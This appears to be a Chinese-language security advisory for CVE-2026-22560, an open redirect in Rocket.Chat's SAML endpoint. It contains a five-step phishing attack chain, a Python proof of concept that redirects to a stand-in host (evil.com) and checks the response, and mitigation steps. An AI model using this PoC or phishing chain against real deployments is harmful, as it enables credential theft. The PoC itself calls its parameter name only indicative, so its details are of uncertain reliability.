IPBUF安全漏洞报告
English
CVE-2026-22560 CVSS 5.3 中危

CVE-2026-22560 Rocket.Chat开放重定向漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-22560
漏洞类型
开放重定向
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rocket.Chat

相关标签

开放重定向Rocket.ChatSAML网络钓鱼CVE-2026-22560

漏洞概述

Rocket.Chat是一款广泛使用的开源团队协作通信软件。在8.4.0版本之前,该软件存在一个开放重定向安全漏洞。攻击者可以通过操纵SAML认证端点中的参数,诱导用户重定向到任意的恶意URL。由于攻击向量为网络(AV:N),且无需用户交互(UI:N)和认证(PR:N),该漏洞具有一定的隐蔽性和易利用性。虽然CVSS评分为5.3(中危),但该漏洞常被用于网络钓鱼攻击链中,窃取用户凭据或进行恶意软件分发。官方已在后续版本中修复了此问题,建议用户尽快更新以确保系统安全。

技术细节

该漏洞的根本原因在于Rocket.Chat处理SAML认证流程时,未对重定向参数进行严格的校验或白名单限制。在SAML单点登录(SSO)流程中,服务提供商(SP)通常需要将用户重定向回身份提供商(IdP)或指定的返回URL。在受影响的版本中,用于指定重定向目标的参数(如`redirect_to`)未经验证即可接受外部域名作为输入。攻击者可以构造一个特制的URL,将合法的Rocket.Chat SAML端点与恶意的`redirect_to`参数结合。当受害者点击该链接时,服务器会返回302重定向响应,将受害者的浏览器导向攻击者控制的网站。由于重定向发起自受信任的域名,用户很难察觉URL的跳转,从而容易信任随后的恶意页面。这种利用方式不需要攻击者拥有系统账户,也不需要用户在重定向过程中进行额外交互,使得攻击链非常高效。Metasploit框架中已收录针对此漏洞的利用模块,进一步降低了攻击门槛。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是Rocket.Chat,且版本低于8.4.0。
STEP 2
武器化
攻击者构造包含恶意`redirect_to`参数的SAML授权URL,指向钓鱼网站。
STEP 3
交付
将特制的恶意链接发送给目标用户,通常伪装成合法的登录链接或通知。
STEP 4
利用
用户点击链接,Rocket.Chat服务器响应302重定向,将用户浏览器导向恶意站点。
STEP 5
达成目标
用户在看似合法的上下文中被引导至钓鱼页面,导致凭证泄露或恶意软件下载。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-22560 Rocket.Chat Open Redirect import requests def check_vulnerability(target_base_url): # The SAML endpoint vulnerable to open redirect endpoint = "/_saml/authorize/" # Malicious destination to test redirection malicious_site = "https://evil.com" # Construct payload with the vulnerable parameter # Note: Parameter name 'redirect_to' is indicative based on SAML flows params = { "client_id": "random_client_id", "redirect_to": malicious_site, "response_type": "code" } full_url = target_base_url + endpoint try: # Send request, do not follow redirects to catch the Location header response = requests.get(full_url, params=params, allow_redirects=False, timeout=10) if response.status_code == 302: location = response.headers.get('Location') if location and malicious_site in location: print(f"[+] Vulnerability Confirmed! Redirecting to: {location}") return True else: print(f"[-] Redirected, but not to target. Location: {location}") else: print(f"[-] Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target check_vulnerability(target)

影响范围

Rocket.Chat < 8.4.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用SAML单点登录功能,或者在反向代理(如Nginx、Apache)层面对HTTP响应头中的Location字段进行正则匹配,禁止重定向至非白名单域名,以阻断攻击链。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表